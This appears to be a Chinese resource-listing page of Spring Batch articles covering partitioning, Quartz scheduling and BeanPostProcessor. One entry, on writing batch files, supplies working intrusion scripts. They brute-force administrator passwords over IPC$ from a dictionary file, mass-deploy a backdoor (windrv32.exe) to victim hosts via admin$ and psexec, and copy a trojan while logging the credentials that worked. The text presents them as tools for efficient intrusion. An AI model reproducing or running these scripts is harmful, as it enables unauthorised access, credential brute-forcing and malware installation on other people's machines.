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Spring Batch批处理详细解析

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简介:
《Spring Batch批处理详细解析》一文深入剖析了Spring Batch框架的核心概念和工作原理,并提供了详细的实践指南。 2024最新!一文看懂Spring Batch批处理(大白话版,干货满满) 学习你将收获: 1. 系统了解Spring Batch批处理; 2. 在项目中能熟练使用Spring Batch批处理。

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客服
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  • Spring Batch
    优质
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  • Spring Batch资料
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    简介:本资料深入浅出地介绍了Spring Batch框架的核心概念、组件和配置方法,涵盖从入门到高级应用的所有方面。 难得的详细Spring Batch资料
  • Spring-Batch分区实例
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    本实例深入讲解了如何使用Spring Batch实现大数据量任务的高效处理,重点介绍了其分区技术的应用与优化策略。 Spring Batch 是一个强大的Java框架,专门用于处理批量数据任务。在 Spring Batch 中,分区处理是一种优化策略,它将大型工作负载分解成多个较小、独立的任务,在不同的线程或节点上并行运行以提高效率。 本段落深入探讨了 spring-batch 分区处理示例中的关键概念和技术细节: 1. **Job配置**:Spring Batch 的 Job 定义整个处理流程。在分区场景中,Job 配置包含一个使用 Partitioner 来划分任务的 Step。 2. **Partitioner实现**:根据业务需求分割任务。例如,可以根据数据库主键范围进行数据分割。 3. **TaskExecutor**:Spring Batch 支持多种 TaskExecutor 类型(如 SimpleAsyncTaskExecutor 或 ThreadPoolTaskExecutor),用于并行执行子任务。 4. **Step 实现**:每个分区都有一个对应的 Step 处理分配的数据。通常,这些 Step 使用 ItemReader、ItemProcessor 和 ItemWriter 进行数据读取、转换和写入操作。 5. **监听器和事件**:添加监听器来跟踪分区过程中的事件(如 PartitionStepExecutionListener),以便在子任务开始或结束时记录日志。 6. **配置文件**:定义 Job、Partitioner 和 TaskExecutor 等组件的设置。这些通常通过 XML 或 Java 配置完成。 示例中可能包括: - 主Job配置,使用分区 Step。 - Partitioner 接口的具体实现类。 - 子Step 的详细配置,包含 ItemReader、ItemProcessor 和 ItemWriter 定义。 - TaskExecutor 设置(如线程池大小)。 理解这个示例的关键在于如何根据实际业务需求调整 Partitioner 实现,并有效利用 TaskExecutor 并行执行子任务。这不仅能提升处理效率,还能在分布式系统中扩展处理能力。 总之,spring-batch 分区处理示例展示了使用 Spring Batch 处理大规模数据的方法和技巧,帮助开发者提高应用程序性能。
  • Batch-文件量重命名工具
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    Batch批处理是一款高效的文件批量重命名工具,用户可通过自定义规则快速、便捷地对大量文件进行重命名操作,极大提升了工作效率。 用BAT编写的重命名工具可以方便地进行文件批量重命名操作:只需将需要改名的文件拖放到该批处理文件上即可完成任务;此外还可以结合Qttabar等其他软件使用,以实现更多功能。 示例:icon_001.jpg 可通过 icon_+001+.jpg 这种方式生成。 编号规则如下: - 编号示例1: 从0000开始递增为 0000, 0001,... 一直到 9999 - 编号示例2: 若起始序号为99, 则生成的文件名依次是 99, 100, 101...
  • 如何编写文件(Batch File)
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    简介:本指南将教你如何创建和编辑批处理文件,这是一种用于自动执行一系列命令行操作的脚本。通过简单的文本编辑器编写,适用于Windows系统。 批处理文件可以用来简化日常或重复性任务,在入侵活动中也能发挥重要作用。例如使用`for /f`命令来暴力破解密码或者批量部署后门。 以下是一些具体示例: 1. 利用For循环进行暴力密码破解: ```batch for /f tokens=* %%i in (dict.txt) do net use \\目标IP\ipc$ %%i /u:administrator | find :命令成功完成>>ok.txt ``` 2. 批量部署后门和木马: 主脚本main.bat: ```batch @echo off if %1== goto usage for /f tokens=1,2,3 delims= %%i in (victim.txt) do start call door.bat %%i %%j %%k goto end :usage echo run this batch in dos mode or just double-click it. :end ``` 子脚本door.bat: ```batch @net use \\%1\ipc$ %3 /u:%2 if errorlevel 1 goto failed copy windrv32.exe \\%1\admin$\system32 psexec \\%1 c:\winnt\system32\windrv32.exe psexec \\%1 net start windrv32 && echo %1 Backdoored >>ko.txt :failed echo Sorry can not connected to the victim. ``` 这两个脚本配合可以自动批量部署后门,提高效率。 在批处理中还可以使用参数来传递变量。例如: ```batch @echo off if %1==a format a: goto end :end ``` 这个例子用于连续格式化多张软盘,调用时需要输入`fomat.bat a`命令指定驱动器。 组合命令也可以在批处理中使用来执行一系列操作: ```batch copy trojan.exe \\目标IP\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt ``` 这段代码会尝试复制木马文件到远程主机,并将成功连接的信息记录下来。 通过这些示例可以看出,批处理脚本可以极大简化入侵过程中的重复性任务。
  • Spring Batch在Java中的介绍及应用指南
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    本指南深入介绍Spring Batch框架,并提供详细的Java实现示例和应用场景解析,帮助开发者掌握批量处理任务的最佳实践。 Spring Batch 是 Spring 提供的一个用于开发企业系统日常运营所需强大批处理应用程序的数据处理框架。它提供了对于大量数据操作至关重要的可复用功能,包括记录跟踪、事务管理、作业执行统计信息、作业重启支持以及资源管理。 **架构介绍** Spring Batch 的架构主要包括三个核心组件:JobRepository(负责存储和管理 Job 执行的状态与结果)、JobLauncher(作为启动和控制 Job 运行的入口)及 Job(批处理任务的基本执行单元,负责具体的数据处理流程)。 **核心概念** 在 Spring Batch 中,关键的概念包括作业 (Job)、步骤 (Step) 以及数据读取器(ItemReader)、处理器(ItemProcessor) 和写入器(ItemWriter),这些组件共同协作以完成从输入源读取原始记录,经过逻辑转换后输出到目标存储的过程。 **工作流程** Spring Batch 的典型操作顺序为:首先通过 ItemReader 接口将大量记录加载进内存;接着利用 ItemProcessor 对数据进行必要的处理和修改;最后借助ItemWriter 将结果写回到持久化层或其他外部系统中。这些步骤是实现批处理任务的基础单元,可以根据具体需求灵活组合。 **Job 和 Step** 在 Spring Batch 中,“作业”(Job)定义了整个批量操作的流程框架,“步骤”(Step)则是构成该流程的基本单位。每个“步骤”可以配置多个读取器、处理器和写入器来执行特定的数据处理任务,从而构建出完整的批处理逻辑。 **应用场景** Spring Batch 可以应用于多种场景中,如大规模数据批量导入导出数据库操作、自动化业务流程的实现以及跨系统间复杂信息集成等。无论是在金融行业中的大量交易记录分析还是制造业内的库存管理优化,都能看到 Spring Batch 的身影。 **优点** 使用 Spring Batch 进行批处理作业开发时可以享受到轻量级框架带来的便利性;同时它还具备高度灵活性和扩展能力,并且能够应对海量数据的挑战。此外,Spring Batch 提供了诸如事务控制、执行统计分析等功能支持,使得开发者在面对复杂业务需求时也能游刃有余。 **使用场景** 鉴于其强大的功能集和支持范围广泛的应用领域,从金融到医疗保健再到零售业和制造业等众多行业中都可见 Spring Batch 的身影。无论是简单的文件导入任务还是复杂的跨数据库迁移项目,Spring Batch 都能提供理想的解决方案。
  • SpringBoot全局异常
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    本文详细解析了如何在Spring Boot应用程序中实现全局异常处理机制,包括自定义异常、异常处理器和配置策略等。 本段落主要介绍了SpringBoot全局异常处理的详细内容,并分享了相关知识点供大家参考学习。希望读者能够通过这篇文章深入了解并掌握SpringBoot中的全局异常处理机制。
  • Spring框架中BeanPostProcessor的
    优质
    本篇技术文章深入剖析了Spring框架中的BeanPostProcessor接口,探讨其工作原理、应用场景及其在AOP和国际化等模块的应用细节。 在Spring框架中,BeanPostProcessor是一个非常重要的组件,它提供了一种方式来在bean实例化、配置和初始化前后添加自定义逻辑处理。下面将详细介绍 BeanPostProcessor 的作用及使用方法。 ### BeanPostProcessor 接口的作用 BeanPostProcessor接口是 Spring 框架中的一个重要接口,用于在bean的创建过程(包括实例化、属性填充等)之前或之后执行特定操作。通过实现该接口,开发者可以在bean初始化前后插入自定义逻辑处理代码。 ### BeanPostProcessor 方法介绍 #### postProcessBeforeInitialization方法 此方法会在 Spring 容器完成 bean 的构造函数调用和依赖注入后立即被调用,在实际使用中可以进行一些预设的配置或检查操作。返回值为Object类型,通常情况下应直接返回传入的bean对象。 #### postProcessAfterInitialization 方法 该方法在所有初始化逻辑执行完毕之后调用,即 bean 对象已经完全构造完成并准备投入使用时被触发。开发者可以在这一阶段进行最后的一些定制化处理或状态检查等操作,并且同样需要将原 bean 实例返回给容器继续后续流程。 ### 如何实现 BeanPostProcessor 接口 以下是一个简单的BeanPostProcessor接口的实现类示例: ```java package com.test.spring; import org.springframework.beans.BeansException; import org.springframework.beans.factory.config.BeanPostProcessor; public class PostProcessor implements BeanPostProcessor { @Override public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException { if (narCodeService.equals(beanName)) return bean; // 特定bean的处理逻辑 System.out.println(后置处理器处理bean=[ + beanName + ]开始); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } return bean; } @Override public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException { if (narCodeService.equals(beanName)) return bean; // 特定bean的处理逻辑 System.out.println(后置处理器处理bean=[ + beanName + ]完毕!); try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } return bean; } } ``` 该代码示例展示了如何重写两个主要方法来执行特定的逻辑,如输出调试信息或进行延时处理。 ### 如何配置 BeanPostProcessor 为了使用自定义BeanPostProcessor,需要在Spring配置文件中注册它: ```xml ``` 这样就能让 Spring 在创建和初始化 bean 的过程中应用该处理器的功能了。 通过以上介绍可以知道,BeanPostProcessor 是一个灵活且强大的工具,在许多场景下能够帮助我们更高效地管理和控制Spring容器中的bean对象。
  • Spring Batch开发文档(Spring Batch API).CHM
    优质
    本手册为Spring Batch开发者提供详细的API参考和开发指导,帮助用户高效地创建、管理和优化批量处理作业。 Spring Batch API(Spring Batch 开发文档).CHM。官网提供的 Spring Batch API 和开发文档。
  • Spring-Batch与Quartz结合MySQL数据实例
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    本实例展示如何利用Spring Batch高效批量处理以及Quartz调度框架定时执行任务来操作MySQL数据库,适用于需周期性大数据处理场景。 在IT行业中,Spring Batch 和 Quartz 是两个非常重要的框架,它们分别用于批量处理任务和定时任务调度。本示例结合这两个框架,实现了一个功能:即定时从MySQL数据库中读取数据,进行处理后再存回MySQL。 **Spring Batch** Spring Batch是一个全面、强大的批处理框架,它提供了大量用于处理批量数据的功能,包括读取、处理和写入数据,以及事务管理、错误处理等。Spring Batch的核心组件包括: 1. **Job**: 代表一个完整的批处理任务,由一个或多个步骤(Step)组成。 2. **Step**: 任务的基本执行单元,包含读取(Reader)、处理(Processor)和写入(Writer)三个部分。 3. **Item**: 批处理的基本数据单位,例如数据库的一条记录。 4. **ItemReader**: 负责从数据源读取Item。 5. **ItemProcessor**: 对读取到的Item进行业务逻辑处理。 6. **ItemWriter**: 将处理后的Item写入目标数据源。 在本示例中,Spring Batch被用来从MySQL数据库读取数据,然后对数据进行处理,并将处理结果写回到MySQL。 **Quartz** Quartz是一个开源的作业调度框架,可以用来安排任务在特定的时间执行。Quartz提供了丰富的调度API,可以创建、调度、触发和管理作业。其主要组件有: 1. **Job**: 代表一个可被调度的任务。 2. **Trigger**: 定义任务的触发时间,如每天、每周等。 3. **Scheduler**: 调度器,负责管理和执行Job。 在本示例中,Quartz被用来定时启动Spring Batch的Job,实现定期从MySQL读取和处理数据的功能。 **MySQL** MySQL是一种广泛使用的开源关系型数据库管理系统。在本示例中,MySQL作为数据源和目标数据库,Spring Batch使用JDBC连接来读取和写入数据。使用MySQL的好处包括高性能、稳定性以及丰富的社区支持。 **集成Spring Batch与Quartz** 将Spring Batch与Quartz结合可以创建一个定时运行的批处理任务。你需要配置一个Quartz Job,该Job启动Spring Batch的Job;然后设置一个Trigger来决定何时触发这个Job。在Spring Batch的Job配置中,定义Reader从MySQL读取数据,Processor处理数据,并由Writer将处理后的数据写回MySQL。 通过这些配置和代码实现了一个定时从MySQL读写数据的系统。 总结来说,本示例利用Spring Batch实现了数据批量读取、处理及存入的过程,而Quartz则负责定时调度这些操作。这种组合在大数据处理、ETL流程以及需要定期更新数据库的应用场景中非常常见。学习和掌握这些技术对于提升你在IT领域的专业技能具有重要意义。